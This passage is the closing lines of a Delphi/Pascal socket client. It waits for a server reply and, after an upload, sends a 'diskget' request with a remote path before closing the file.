       repeat
        Application.ProcessMessages;
       until ServerAnswer;
       if Uploaded then
        ClientSocket.Socket.SendText ('diskget'+RemotePath);
      end;
     CloseFile (Fl);
    end;
  end;

end.
